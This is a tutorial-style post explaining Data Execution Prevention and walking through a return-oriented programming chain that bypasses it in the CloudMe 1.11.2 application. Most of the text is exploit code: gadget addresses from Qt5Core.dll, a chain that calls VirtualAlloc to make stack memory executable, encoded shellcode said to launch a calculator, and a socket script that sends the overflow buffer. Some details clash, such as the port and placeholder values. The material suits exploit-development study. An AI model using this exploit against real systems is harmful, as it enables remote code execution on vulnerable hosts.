What is DEP?
Microsoft introduced Data Execution Prevention (DEP) in August 2004. It’s purpose was to protect memory pools from attacks such as buffer overflow by ensuring that memory permissions only consists of READ and WRITE. The reason this prevents buffer overflow attacks is because we need execution permission in the memory region to execute our shellcode.
Bypassing DEP
The Data Execution Prevention (DEP) security mechanism can be defeated using Return Oriented Programming (ROP) which consists of searching through the process to find addresses with instructions such as POP EAX; RET, POP EDX; RET, POP ECX; RET, and so forth…
Using ROP instructions we need to execute functions such as VirtualProtect and VirtualAlloc to change the stack permission from PAGE_READWRITE to PAGE_EXECUTE_READWRITE and that will allow us to execute our shellcode inside of the buffer.
Building a ROP Chain
I understand that building a ROP Chain seems complex but the best way to learn it is by building a ROP Chain. I’ll be going through building a ROP Chain for the CloudMe 1.11.2 application by changing the va_params values inside of the stack. An example I’ll be crafting a exploit which changes the 0x44444444 in va_params to VirtualAlloc address and 0x48484848 in va_params to MEM_COMMIT which is 0x1000 in hexadecimal and so forth to call the VirtualAlloc function.
Getting ROP Chains
We can obtain ROP Gadgets by using RP++. Here is the command to execute to obtain all the ROP Gadgets:
.\rp-win.exe --file="C:\Users\Student\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll" --rop=3 > Qt5Core-ROPs.txtBaseline Code
#!/bin/python3
import struct
import socket
SERVER = "127.0.0.1"
PORT = 8888
if __name__ == "__main__":
# VirtualAlloc Parameters
va_params = b''
va_params += struct.pack('<L', 0x45454545) # VirtualAlloc Address
va_params += struct.pack('<L', 0x46464646) # Return Address
va_params += struct.pack('<L', 0x47474747) # lpAddress
va_params += struct.pack('<L', 0x48484848) # dwSize
va_params += struct.pack('<L', 0x49494949) # flAllocationType
va_params += struct.pack('<L', 0x50505050) # flProtect
# ROP Chain
rop_chain = b''
# NOP Sleds
nop_sled_start = b'\x90' * 130
nop_sled_end = b'\x90' * 20
# Shellcode
shellcode = b''
# Buffer with all payloads
buffer = b'A' * (1052 - len(va_params))
buffer += va_params
buffer += ropchain
buffer += nop_sled_start
buffer += shellcode
buffer += nop_sled_end
buffer += b'C' * 2300The CloudMe 1.11.2 has a service running at port 8080 which is vulnerable for buffer overflow when more than 2500 bytes are sent. I’ll be exploiting the vulnerability and build a custom ROP chain which changes the stack permission from PAGE_READWRITE to PAGE_EXECUTE_READWRITE.
VirtualAlloc
# EDX = va_params(0x45454545)
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffffe4) # 0n28
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
# Getting VirtualAlloc address and writing it to stack location pointed by EDX
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0x690398a0) # VirtualAlloc Address
ropchain += struct.pack('<L', 0x68ae8a22) # MOV EAX, [EAX]; RET (0x8B 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)Lines 1-10 locates va_params(0x4545454545) by retrieving the current stack address and substracting it with a offset 0x1C to reach the target value. Lines 12-16 resolves the address of VirtualAlloc by dereferencing the VirtualAlloc IAT entry in a module.

The va_params value is changed from 0x44444444 to 0x776ef660 which is the address of VirtualAlloc. We are now one step closer to finishing off our ROP chain.
Return Address
# EDX = va_params(0x46464646)
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffffb4) # 0n76
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
# Incrementing EAX register (stack address) by 0x60 multiple of times
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)Lines 1-10 locates va_params(0x46464646) by retrieving the current stack address and substracting it with the offset 0x4c to reach the target value. Lines 12-19 retrieves the stack address and increments it by the offset 0xC3 multiple of times to avoid returning to our ROP chain when VirtualAlloc is executed.

The va_params value changed from 0x45454545 to 0x00a3ac08 which is the location where the execution continue onto after the VirtualAlloc is executed.
lpAddress
# EDX = va_params (0x4747474747)
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffff78) # 0n136
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
# Writing 999 to dwSize
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)Lines 1-10 locates va_params(0x47474747) by retrieving the stack address and substracting it with a offset of 0x88 to reach the target value. Lines 12-19 is used to perform the exact operations that were performed in the previous section.

The va_params value changed from 0x47474747 to 0x00a3ac08 which is the location where the memory region permission will be changed from PAGE_READWRITE to PAGE_EXECUTE_READWRITE.
dwSize
# EDX = va_params (0x48484848)
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffff3c) # 0n196
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
# Writing 999 to dwSize
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xfffff667) # 0n999
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)Lines 1-10 locates va_params(0x48484848) by retrieving the current stack address and substracting it with the offset of 0xC4 to reach the target value. Lines 12-16 changes the EAX register value to 0xfffff667 and converts it to a positive number where it becomes 0x999 and writes that value to the va_params(0x48484848).

The va_params value is changed from 0x48484848 to 0x999 which is the total amount of bytes that will be changed from PAGE_READWRITE to PAGE_EXECUTE_READWRITE.
flAllocationType
# EDX = va_params (0x49494949)
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffff0c) # 0n244
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
# Writing 0x1000 to 0x48484848
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xa4c74b09) # flAllocationType = 0x5B38C483 + a4c74b08 + 0x75
ropchain += struct.pack('<L', 0x68aa346a) # ADC AL, 0x74; ADD EAX, 0x5B38C483; RET;
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)Lines 1-10 locates va_params(0x49494949) by retrieving the current stack address and substracting it with a offset of 0xF4 to reach the target value. Lines 12-16 performs operations which changes the 0x5B38C483 value to 0x1000 and writes that to the 0x49494949 value in va_params.

The va_params value changed from 0x49494949 to 0x1000 which is used to define the type of memory allocation and that is MEM_COMMIT in our case which is required to change the permission from PAGE_READWRITE to PAGE_EXECUTE_READWRITE.
flProtect
# EDX = va_params (0x50505050)
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xfffffedc) # 0n292
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
# Writing 0x40 to 0x50505050
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffffc0) # 0x40 (READ_WRITE_EXECUTE)
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)Lines 1-10 locates the va_params(0x50505050) by retreiving the current stack address and substracting it with a offset of 0x124 to reach the target value. Lines 12-16 write a negative value 0xffffffc0 and converts it to a positive number 0x40 and that is written to the 0x50505050 value in va_params.

The va_params value is changed from 0x50505050 to 0x40. This means that the memory region permission will be PAGE_EXECUTE_READWRITE and that will enable the execution of shellcode.
JMPING
# ESP = (ESP - 0x16C)
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xfffffe94) # 0n364
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
# Jumps to VirtualAlloc and executes it.
ropchain += struct.pack('<L', 0x68a91b9c) # XCHG EAX, ESP; RET (0x94 0xC3)Lines 1-9 locates the VirtualAlloc addresss inside of va_params. Line 12 changes the ESP register to the location where VirtualAlloc address is located at va_params and the ESP register from there executes the VirtualAlloc function with all the parameters that was defined with the ROP chains.
Full Exploit Code

To summarize I built a ROP chain using ROP gadgets from the Qt5Core.dll module. Using these gadgets the VirtualAlloc function was executed with the following setup.
VirtualAlloc(0x00a3ac08, 999, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Once the function is executed the memory region in the stack which will have the shellcode should be changed from PAGE_READWRITE to PAGE_READWRTIE_EXECUTE. Here is a complete overview of exploit code which uses ROP chain to change memory permissions (shellcode will only launch a calculator).
#!/bin/python3
import struct
import socket
SERVER = "127.0.0.1"
PORT = 8888
if __name__ == "__main__":
# VirtualAlloc Parameters
va_params = b''
va_params += struct.pack('<L', 0x44444444) # VirtualAlloc Address
va_params += struct.pack('<L', 0x46464646) # Return Address
va_params += struct.pack('<L', 0x47474747) # Shellcode Address
va_params += struct.pack('<L', 0x48484848) # dwSize
va_params += struct.pack('<L', 0x49494949) # flAllocationType
va_params += struct.pack('<L', 0x50505050) # flProtect
# Building ROP Chains
ropchain = b''
# Handle VirtualAlloc Address
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffffe4) # 0n28
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0x690398a0) # VirtualAlloc Address
ropchain += struct.pack('<L', 0x68ae8a22) # MOV EAX, [EAX]; RET (0x8B 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
# Handle Return Address
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffffb4) # 0n76
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
ropchain += struct.pack('<L', 0x68a9fe83) # ADD EAX, 0x60; RET (0x83 0xC0 0x60 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
# Handle Shellcode Address
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffff78) # 0n136
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
ropchain += struct.pack('<L', 0x68cefc74) # ADD EAX, 0x2C; RET (0x83 0xC0 0x2C 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
# Handle dwSize
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffff3c) # 0n196
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xfffff667) # 0n999
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
# Handle flAllocationType
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffff0c) # 0n244
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xa4c74b09) # fflAllocationType = 0x5B38C483 + a4c74b08 + 0x75
ropchain += struct.pack('<L', 0x68aa346a) # ADC AL, 0x74; ADD EAX, 0x5B38C483; RET;
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
# Handle flProtect
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xfffffedc) # 0n292
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68b1df17) # XCHG EAX, EDX; RET (0x92 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xffffffc0) # 0x40 (READ_WRITE_EXECUTE)
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68d44633) # MOV [EDX], EAX ; RET (0x89 0x02 0xC3)
# Handling Stack
ropchain += struct.pack('<L', 0x68f28dca) # MOV ESI, ESP; RET (0x89 0xE6 0xC3)
ropchain += struct.pack('<L', 0x68aef542) # XCHG EAX, ESI; RET (0x96 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ae7ee3) # POP EAX; RET (0x58 0xC3)
ropchain += struct.pack('<L', 0xfffffe94) # 0n364
ropchain += struct.pack('<L', 0x68cef5b2) # NEG EAX; RET (0xF7 0xD8 0xC3)
ropchain += struct.pack('<L', 0x68be726b) # XCHG EAX, ECX; RET (0x91 0xC3)
ropchain += struct.pack('<L', 0x68ad422b) # SUB EAX, ECX; RET (0x29 0xC8 0xC3)
ropchain += struct.pack('<L', 0x68a91b9c) # XCHG EAX, ESP (0x94 0xC3)
# Shellcode
shellcode = b""
shellcode += b"\xbb\x25\x25\xb9\xaa\xdb\xd4\xd9\x74\x24\xf4"
shellcode += b"\x5f\x33\xc9\xb1\x31\x31\x5f\x13\x83\xef\xfc"
shellcode += b"\x03\x5f\x2a\xc7\x4c\x56\xdc\x85\xaf\xa7\x1c"
shellcode += b"\xea\x26\x42\x2d\x2a\x5c\x06\x1d\x9a\x16\x4a"
shellcode += b"\x91\x51\x7a\x7f\x22\x17\x53\x70\x83\x92\x85"
shellcode += b"\xbf\x14\x8e\xf6\xde\x96\xcd\x2a\x01\xa7\x1d"
shellcode += b"\x3f\x40\xe0\x40\xb2\x10\xb9\x0f\x61\x85\xce"
shellcode += b"\x5a\xba\x2e\x9c\x4b\xba\xd3\x54\x6d\xeb\x45"
shellcode += b"\xef\x34\x2b\x67\x3c\x4d\x62\x7f\x21\x68\x3c"
shellcode += b"\xf4\x91\x06\xbf\xdc\xe8\xe7\x6c\x21\xc5\x15"
shellcode += b"\x6c\x65\xe1\xc5\x1b\x9f\x12\x7b\x1c\x64\x69"
shellcode += b"\xa7\xa9\x7f\xc9\x2c\x09\xa4\xe8\xe1\xcc\x2f"
shellcode += b"\xe6\x4e\x9a\x68\xea\x51\x4f\x03\x16\xd9\x6e"
shellcode += b"\xc4\x9f\x99\x54\xc0\xc4\x7a\xf4\x51\xa0\x2d"
shellcode += b"\x09\x81\x0b\x91\xaf\xc9\xa1\xc6\xdd\x93\xaf"
shellcode += b"\x19\x53\xae\x9d\x1a\x6b\xb1\xb1\x72\x5a\x3a"
shellcode += b"\x5e\x04\x63\xe9\x1b\xea\x81\x38\x51\x83\x1f"
shellcode += b"\xa9\xd8\xce\x9f\x07\x1e\xf7\x23\xa2\xde\x0c"
shellcode += b"\x3b\xc7\xdb\x49\xfb\x3b\x91\xc2\x6e\x3c\x06"
shellcode += b"\xe2\xba\x5f\xc9\x70\x26\x8e\x6c\xf1\xcd\xce"
# Buffer with all payloads
buffer = b'A' * (1052 - len(va_params))
buffer += va_params
buffer += ropchain
buffer += b'\x90' * 130
buffer += shellcode
buffer += b'\x90' * 20
buffer += b'C' * 2300
# Sending data to target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER, PORT))
s.send(buffer)
s.close()Conclusion
Understanding Return Oriented Programming (ROP) Chain can be difficult in the beginning but once you dive into it and start building your own ROP chain it becomes easier and easier. I would recommend thinking of the ROP chain as a way for us to call functions such as VirtualAlloc and VirtualProtect to change memory permission to execute our shellcode. If you want to exercise the things you learnt from this article I would recommend building a ROP chain using VirtualProtect.